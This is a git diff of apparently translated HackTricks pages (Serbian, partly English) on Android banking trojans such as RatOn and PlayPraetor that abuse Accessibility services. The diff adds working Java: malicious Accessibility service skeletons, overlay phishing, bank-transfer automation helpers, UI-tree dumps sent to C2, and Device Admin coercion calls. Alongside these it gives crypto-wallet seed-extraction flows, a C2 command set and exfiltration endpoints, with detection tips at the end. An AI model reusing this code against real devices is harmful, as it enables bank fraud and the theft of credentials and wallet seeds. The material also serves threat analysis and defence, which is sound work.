||||||
|
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||||
|
startActivity(i);
|
||||||
|
```
|
||||||
|
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
|
||||||
|
|
||||||
|
### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts
|
||||||
|
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
|
||||||
|
|
||||||
|
- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
|
||||||
|
- Overlay permission check/request:
|
||||||
|
```java
|
||||||
|
if (!Settings.canDrawOverlays(ctx)) {
|
||||||
|
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||||
|
Uri.parse("package:" + ctx.getPackageName()));
|
||||||
|
ctx.startActivity(i);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Vidi takođe:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### Overlay phishing/otkupnina putem WebView
|
||||||
|
Operateri mogu izdavati komande da:
|
||||||
|
- prikažu overlay preko celog ekrana sa URL-a, ili
|
||||||
|
- proslede inline HTML koji se učitava u WebView overlay.
|
||||||
|
|
||||||
|
Verovatne upotrebe: prisila (unos PIN-a), otvaranje novčanika radi hvatanja PIN-ova, ransom poruke. Imajte komandu koja osigurava da je dozvola za overlay dodeljena ako nedostaje.
|
||||||
|
|
||||||
|
### Remote control model – tekstualni pseudo-ekran + screen-cast
|
||||||
|
- Niska propusnost: periodično dump-ovati Accessibility node tree, serijalizovati vidljive tekstove/role/granice i poslati na C2 kao pseudo-ekran (komande poput `txt_screen` jednom i `screen_live` kontinuirano).
|
||||||
|
- Visoka verodostojnost: zatražiti MediaProjection i pokrenuti screen-casting/snimanje na zahtev (komande kao `display` / `record`).
|
||||||
|
|
||||||
|
### ATS playbook (automatizacija bankovne aplikacije)
|
||||||
|
Za zadatak u JSON formatu, otvoriti bankovnu aplikaciju, upravljati UI preko Accessibility koristeći mešavinu tekstualnih upita i tapova po koordinatama, i uneti žrtvin PIN za plaćanje kada se to zatraži.
|
||||||
|
|
||||||
|
Primer zadatka:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "transfer",
|
||||||
|
"receiver_address": "ACME s.r.o.",
|
||||||
|
"account": "123456789/0100",
|
||||||
|
"amount": "24500.00",
|
||||||
|
"name": "ACME"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Primeri tekstova viđenih u jednom target flow-u (CZ → EN):
|
||||||
|
- "Nová platba" → "Nova uplata"
|
||||||
|
- "Zadat platbu" → "Unesi uplatu"
|
||||||
|
- "Nový příjemce" → "Novi primalac"
|
||||||
|
- "Domácí číslo účtu" → "Domaći broj računa"
|
||||||
|
- "Další" → "Dalje"
|
||||||
|
- "Odeslat" → "Pošalji"
|
||||||
|
- "Ano, pokračovat" → "Da, nastavi"
|
||||||
|
- "Zaplatit" → "Plati"
|
||||||
|
- "Hotovo" → "Gotovo"
|
||||||
|
|
||||||
|
Operateri takođe mogu proveravati/uvećavati limite transfera putem komandi kao što su `check_limit` i `limit` koje na sličan način prolaze kroz interfejs za limite.
|
||||||
|
|
||||||
|
### Crypto wallet seed extraction
|
||||||
|
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Tok: unlock (ukradeni PIN ili dostavljena lozinka), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
|
||||||
|
|
||||||
|
### Device Admin coercion
|
||||||
|
Device Admin APIs se koriste da povećaju mogućnosti PIN-capture i da ometaju žrtvu:
|
||||||
|
|
||||||
|
- Odmah zaključavanje:
|
||||||
|
```java
|
||||||
|
dpm.lockNow();
|
||||||
|
```
|
||||||
|
- Istekni trenutni credential da bi se prisilila promena (Accessibility hvata novi PIN/lozinku):
|
||||||
|
```java
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||||
|
```
|
||||||
|
- Prisilite otključavanje bez biometrije onemogućavanjem keyguard biometric features:
|
||||||
|
```java
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin,
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||||
|
```
|
||||||
|
Napomena: Mnoge DevicePolicyManager kontrole zahtevaju Device Owner/Profile Owner na novijim Android verzijama; neke OEM izrade mogu biti popustljive. Uvek potvrdi na ciljanom OS/OEM.
|
||||||
|
|
||||||
|
### Orkestracija NFC relay-a (NFSkate)
|
||||||
|
Stage-3 može instalirati i pokrenuti eksterni NFC-relay modul (npr. NFSkate) i čak mu predati HTML šablon kojim se vodi žrtva tokom relay-a. Ovo omogućava beskontaktni card-present cash-out uz online ATS.
|
||||||
|
|
||||||
|
Pozadina: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||||
|
|
||||||
|
### Komandni skup operatora (primer)
|
||||||
|
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||||
|
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||||
|
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||||
|
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||||
|
- ATS: `transfer`, `check_limit`, `limit`
|
||||||
|
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||||
|
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||||
|
- NFC: `nfs`, `nfs_inject`
|
||||||
|
|
||||||
|
### Ideje za detekciju i odbranu (RatOn-style)
|
||||||
|
- Tragaj za WebViews koje izlažu installer/permission metode preko `addJavascriptInterface()`; stranice koje se završavaju sa “/access” i izazivaju Accessibility promptove.
|
||||||
|
- Alarmiraj aplikacije koje generišu visokofrekventne Accessibility gestove/klikove ubrzo nakon dobijanja pristupa servisu; telemetrija koja liči na Accessibility node dumps poslatu ka C2.
|
||||||
|
- Prati promene Device Admin policy-ja u nepouzdanim aplikacijama: `lockNow`, isteka lozinke, togglovi keyguard feature-a.
|
||||||
|
- Alarmiraj na MediaProjection promptove iz nekorporativnih aplikacija nakon kojih sledi periodični upload frejmova.
|
||||||
|
- Detektuj instalaciju/pokretanje eksternog NFC-relay app-a koji je pokrenut od strane druge aplikacije.
|
||||||
|
- Za banking: primeniti potvrde van kanala (out-of-band), vezivanje za biometriju i limite transakcija otporne na automatizaciju na uređaju.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||||
|
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,24 +1,24 @@
|
|||||||
# Android Accessibility Service Abuse
|
# Zloupotreba Accessibility servisa na Androidu
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Pregled
|
## Pregled
|
||||||
|
|
||||||
`AccessibilityService` je stvoren da pomogne korisnicima sa invaliditetom da interaguju sa Android uređajima. Nažalost, iste **moćne automatizacione API** (globalna navigacija, unos teksta, raspodela gestova, prozori preklapanja…) mogu biti zloupotrebljene od strane malvera da dobiju **potpunu daljinsku kontrolu** nad uređajem _bez root privilegija_.
|
`AccessibilityService` je kreiran da pomogne korisnicima sa invaliditetom da koriste Android uređaje. Nažalost, iste **moćne automation API-je** (globalna navigacija, unos teksta, slanje gestova, preklapajući prozori…) mogu biti zlonamerno iskorišćene od strane malware-a da se ostvari **potpuna daljinska kontrola** nad telefonom _bez root privilegija_.
|
||||||
|
|
||||||
Moderni Android bankovni trojanci i trojanci za daljinski pristup (RAT) kao što su **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i mnogi drugi prate isti recept:
|
Savremeni Android bankarski Trojans i Remote-Access-Trojans (RATs) kao što su **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i mnogi drugi slede isti recept:
|
||||||
|
|
||||||
1. Socijalno inženjerstvo žrtve da omogući zlonamerne usluge pristupa (dozvola *BIND_ACCESSIBILITY_SERVICE* se smatra "visokog rizika" i zahteva eksplicitnu akciju korisnika).
|
1. Social-engineer-ovati žrtvu da omogući lažni accessibility service (dozvola *BIND_ACCESSIBILITY_SERVICE* smatra se "high-risk" i zahteva eksplicitnu korisničku akciju).
|
||||||
2. Iskoristiti uslugu da
|
2. Iskoristiti servis da
|
||||||
* zabeleži svaki UI događaj i tekst koji se pojavljuje na ekranu,
|
* presreće svaki UI događaj i tekst koji se pojavi na ekranu,
|
||||||
* injektuje sintetičke geste (`dispatchGesture`) i globalne akcije (`performGlobalAction`) da automatizuje bilo koju radnju koju operater želi,
|
* ubacuje sintetičke geste (`dispatchGesture`) i globalne akcije (`performGlobalAction`) za automatizaciju bilo kog zadatka koji operator želi,
|
||||||
* crta prozore preklapanja preko legitimnih aplikacija koristeći tip prozora **TYPE_ACCESSIBILITY_OVERLAY** (bez `SYSTEM_ALERT_WINDOW` obaveštenja!),
|
* crta full-screen overlay-e preko legitimnih aplikacija koristeći tip prozora **TYPE_ACCESSIBILITY_OVERLAY** (bez `SYSTEM_ALERT_WINDOW` prompta!),
|
||||||
* tiho dodeli dodatne dozvole u vreme izvođenja klikom na sistemske dijaloge u ime žrtve.
|
* tiho odobrava dodatne runtime dozvole klikom na sistemske dijaloge u ime žrtve.
|
||||||
3. Ekstrahuje podatke ili izvrši **On-Device-Fraud (ODF)** u realnom vremenu dok korisnik gleda na savršeno normalan ekran.
|
3. Eksfiltrira podatke ili izvodi **On-Device-Fraud (ODF)** u realnom vremenu dok korisnik gleda potpuno normalan ekran.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Zahtev za dozvolu
|
## Zahtevanje dozvole
|
||||||
```xml
|
```xml
|
||||||
<!-- AndroidManifest.xml -->
|
<!-- AndroidManifest.xml -->
|
||||||
<service
|
<service
|
||||||
@ -34,7 +34,7 @@ android:exported="false">
|
|||||||
android:resource="@xml/evil_accessibility_config"/>
|
android:resource="@xml/evil_accessibility_config"/>
|
||||||
</service>
|
</service>
|
||||||
```
|
```
|
||||||
Prateći XML definiše kako će izgledati lažni dijalog:
|
Prateći XML definiše kako će lažni dijalog izgledati:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
|
|||||||
```
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
## Primitivi za automatsko upravljanje udaljenim korisničkim interfejsom
|
## Udaljene primitive za automatizaciju korisničkog interfejsa
|
||||||
```java
|
```java
|
||||||
public class EvilService extends AccessibilityService {
|
public class EvilService extends AccessibilityService {
|
||||||
@Override
|
@Override
|
||||||
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Sa samo ova dva API-ja, napadač može:
|
With only these two APIs an attacker can:
|
||||||
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati njenom UI stablu i poslati obrazac za transfer.
|
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati kroz njen UI stablo i poslati nalog za prenos.
|
||||||
* Prihvatiti svaki dijalog o dozvolama koji se pojavi.
|
* Prihvatiti svaki dijalog za dozvole koji se pojavi.
|
||||||
* Instalirati/aktuelizovati dodatne APK-ove putem Play Store intencija.
|
* Instalirati/azurirati dodatne APK-ove putem Play Store intent-a.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Obrasci zloupotrebe
|
## Abuse patterns
|
||||||
|
|
||||||
### 1. Overlay Phishing (Prikupljanje akreditiva)
|
### 1. Overlay Phishing (Credential Harvesting)
|
||||||
Prozirni ili neprozirni `WebView` se dodaje menadžeru prozora:
|
Transparentan ili neprovidan `WebView` se dodaje u menadžer prozora:
|
||||||
```java
|
```java
|
||||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||||
MATCH_PARENT, MATCH_PARENT,
|
MATCH_PARENT, MATCH_PARENT,
|
||||||
@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
|||||||
PixelFormat.TRANSLUCENT);
|
PixelFormat.TRANSLUCENT);
|
||||||
wm.addView(phishingView, lp);
|
wm.addView(phishingView, lp);
|
||||||
```
|
```
|
||||||
Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste – nikada se ne prikazuje sumnjivi "crtaj preko drugih aplikacija" promp.
|
Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste – nikakav sumnjiv "draw over other apps" prompt se nikada ne prikazuje.
|
||||||
|
|
||||||
> Detaljan primer: sekcija *Accessibility Overlay Phishing* unutar stranice Tapjacking.
|
> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
|
||||||
|
|
||||||
### 2. Automatizacija prevara na uređaju
|
### 2. On-Device Fraud automation
|
||||||
Malware porodice kao što je **PlayPraetor** održavaju postojanu WebSocket vezu gde operater može izdavati komande na visokom nivou (`init`, `update`, `alert_arr`, `report_list`, …). Usluga prevodi te komande u niske geste iznad, ostvarujući neovlašćene transakcije u realnom vremenu koje lako zaobilaze višefaktorsku autentifikaciju vezanu za taj uređaj.
|
Malver familije kao što je **PlayPraetor** održava persistentan WebSocket kanal gde operator može izdavati high-level komande (`init`, `update`, `alert_arr`, `report_list`, …). Servis prevodi te komande u gore navedene low-level geste, ostvarujući real-time neautorizovane transakcije koje lako zaobilaze višefaktorsku autentifikaciju vezanu za baš taj uređaj.
|
||||||
|
|
||||||
### 3. Streaming i nadzor ekrana
|
### 3. Screen streaming & monitoring
|
||||||
Kombinovanjem **MediaProjection API** sa RTMP klijentskom bibliotekom, RAT može emitovati uživo framebuffer na `rtmp://<c2>:1935/live/<device_id>`, dajući protivniku savršenu situacionu svest dok Accessibility engine upravlja UI-jem.
|
Kombinovanjem **MediaProjection API** sa RTMP client bibliotekom, RAT može emitiratii live framebuffer na `rtmp://<c2>:1935/live/<device_id>`, dajući napadaču potpunu situacionu svest dok Accessibility engine upravlja UI-jem.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## PlayPraetor – radni tok komande i kontrole
|
## PlayPraetor – command & control workflow
|
||||||
|
|
||||||
1. **HTTP(S) heartbeat** – iterirajte preko hard-kodirane liste dok jedan domen ne odgovori `POST /app/searchPackageName` sa aktivnim C2.
|
1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
|
||||||
2. **WebSocket (port 8282)** – dvostrani JSON komande:
|
2. **WebSocket (port 8282)** – bidirectional JSON commands:
|
||||||
* `update` – push nove konf/APK
|
* `update` – push new conf/APKs
|
||||||
* `alert_arr` – konfigurišite overlay šablone
|
* `alert_arr` – configure overlay templates
|
||||||
* `report_list` – pošaljite listu ciljanih imena paketa
|
* `report_list` – send list of targeted package names
|
||||||
* `heartbeat_web` – keep-alive
|
* `heartbeat_web` – keep-alive
|
||||||
3. **RTMP (port 1935)** – live streaming ekrana/videa.
|
3. **RTMP (port 1935)** – live screen/video streaming.
|
||||||
4. **REST exfiltracija** –
|
4. **REST exfiltration** –
|
||||||
* `/app/saveDevice` (otisci)
|
* `/app/saveDevice` (fingerprint)
|
||||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||||
* `/app/saveCardPwd` (bankovni kredencijali)
|
* `/app/saveCardPwd` (bank creds)
|
||||||
|
|
||||||
**AccessibilityService** je lokalni engine koji pretvara te cloud komande u fizičke interakcije.
|
The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Otkrivanje zlonamernih usluga pristupa
|
## Otkrivanje malicioznih accessibility servisa
|
||||||
|
|
||||||
* `adb shell settings get secure enabled_accessibility_services`
|
* `adb shell settings get secure enabled_accessibility_services`
|
||||||
* Podešavanja → Pristupnost → *Preuzete usluge* – potražite aplikacije koje **nisu** sa Google Play-a.
|
* Settings → Accessibility → *Downloaded services* – potražite aplikacije koje **nisu** iz Google Play.
|
||||||
* MDM / EMM rešenja mogu primeniti `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) da blokiraju sideloaded usluge.
|
* MDM / EMM rešenja mogu nametnuti `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) da blokiraju sideloaded servise.
|
||||||
* Analizirajte aktivne usluge:
|
* Analizirajte pokrenute servise:
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Preporuke za jačanje za programere aplikacija
|
## Preporuke za hardening za developere aplikacija
|
||||||
|
|
||||||
* Obeležite osetljive prikaze sa `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
* Označite osetljive prikaze atributom `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||||||
* Kombinujte `setFilterTouchesWhenObscured(true)` sa `FLAG_SECURE` da sprečite otmicu dodira/overlay-a.
|
* Kombinujte `setFilterTouchesWhenObscured(true)` sa `FLAG_SECURE` da sprečite tap/overlay hijacking.
|
||||||
* Otkrivajte overlay-e anketiranjem `WindowManager.getDefaultDisplay().getFlags()` ili `ViewRootImpl` API-jem.
|
* Otkrivajte overlay-e proverom `WindowManager.getDefaultDisplay().getFlags()` ili koristeći `ViewRootImpl` API.
|
||||||
* Odbijte rad kada je `Settings.canDrawOverlays()` **ili** aktivna neproverena Accessibility usluga.
|
* Odbijajte rad kada `Settings.canDrawOverlays()` **ili** nepouzdani Accessibility servis bude aktivan.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ATS automation cheat-sheet (Accessibility-driven)
|
||||||
|
Malver može potpuno automatizovati bankarsku aplikaciju koristeći samo Accessibility APIs. Generičke primitive:
|
||||||
|
```java
|
||||||
|
// Helpers inside your AccessibilityService
|
||||||
|
private List<AccessibilityNodeInfo> byText(String t){
|
||||||
|
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||||
|
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||||
|
}
|
||||||
|
private boolean clickText(String t){
|
||||||
|
for (AccessibilityNodeInfo n: byText(t)){
|
||||||
|
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||||
|
AccessibilityNodeInfo p = n.getParent();
|
||||||
|
if (p != null) return p.performAction(ACTION_CLICK);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
private void inputText(AccessibilityNodeInfo field, String text){
|
||||||
|
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||||
|
field.performAction(ACTION_SET_TEXT, b);
|
||||||
|
}
|
||||||
|
private void tap(float x, float y){
|
||||||
|
Path p = new Path(); p.moveTo(x,y);
|
||||||
|
dispatchGesture(new GestureDescription.Builder()
|
||||||
|
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Primer toka (češki → engleske oznake):
|
||||||
|
- "Nová platba" (Nova uplata) → klik
|
||||||
|
- "Zadat platbu" (Unesi plaćanje) → klik
|
||||||
|
- "Nový příjemce" (Novi primalac) → klik
|
||||||
|
- "Domácí číslo účtu" (Domaći broj računa) → postavi fokus i `ACTION_SET_TEXT`
|
||||||
|
- "Další" (Dalje) → klik → … "Zaplatit" (Plati) → klik → unesi PIN
|
||||||
|
|
||||||
|
Fallback: fiksne koordinate sa `dispatchGesture` kada pretraga teksta zakaže zbog prilagođenih widgeta.
|
||||||
|
|
||||||
|
Takođe primećeno: predkoraci za `check_limit` i `limit` navigacijom do limits UI i povećanjem dnevnih limita pre transfera.
|
||||||
|
|
||||||
|
## Tekstualno pseudo-screen streaming
|
||||||
|
Za kontrolu sa malim kašnjenjem, umesto potpunog video streaminga, ispiši tekstualnu reprezentaciju trenutnog UI stabla i ponavljano je šalji na C2.
|
||||||
|
```java
|
||||||
|
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||||
|
if (n==null) return;
|
||||||
|
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||||
|
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||||
|
sb.append(indent).append("[").append(cls).append("] ")
|
||||||
|
.append(txt==null?"":txt).append(" ")
|
||||||
|
.append(b.toShortString()).append("\n");
|
||||||
|
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Ovo je osnova za komande poput `txt_screen` (jednokratne) i `screen_live` (kontinuirane).
|
||||||
|
|
||||||
|
## Device Admin primitivni mehanizmi prisile
|
||||||
|
Kada se Device Admin receiver aktivira, ovi pozivi povećavaju mogućnosti za presretanje kredencijala i održavanje kontrole:
|
||||||
|
```java
|
||||||
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||||
|
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||||
|
|
||||||
|
// 1) Immediate lock
|
||||||
|
dpm.lockNow();
|
||||||
|
|
||||||
|
// 2) Force credential change (expire current PIN/password)
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||||
|
|
||||||
|
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||||
|
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||||
|
```
|
||||||
|
Napomena: tačna dostupnost ovih politika varira u zavisnosti od verzije Androida i OEM; tokom testiranja potvrdite ulogu politike uređaja (admin vs owner).
|
||||||
|
|
||||||
|
## Obrasci izvlačenja seed-phrase iz kripto novčanika
|
||||||
|
Primećeni tokovi za MetaMask, Trust Wallet, Blockchain.com i Phantom:
|
||||||
|
- Otključavanje ukradenim PIN-om (zabeleženim putem overlay/Accessibility) ili unetom lozinkom novčanika.
|
||||||
|
- Navigacija: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||||
|
- Prikupljanje fraze putem keylogging-a tekstualnih čvorova, secure-screen bypass-a, ili screenshot OCR-a kada je tekst zaklonjen.
|
||||||
|
- Podrška za više lokalizacija (EN/RU/CZ/SK) radi stabilizacije selektora – preferirati `viewIdResourceName` kad je dostupan, u suprotnom koristiti višelingvalno podudaranje teksta.
|
||||||
|
|
||||||
|
## Orkestracija NFC-relaya
|
||||||
|
Accessibility/RAT moduli mogu instalirati i pokrenuti posvećenu NFC-relay aplikaciju (npr. NFSkate) kao treću fazu i čak injektovati overlay vodič koji vodi žrtvu kroz korake relaya sa prisutnom karticom.
|
||||||
|
|
||||||
|
Pozadina i TTP-ovi: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||||
|
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user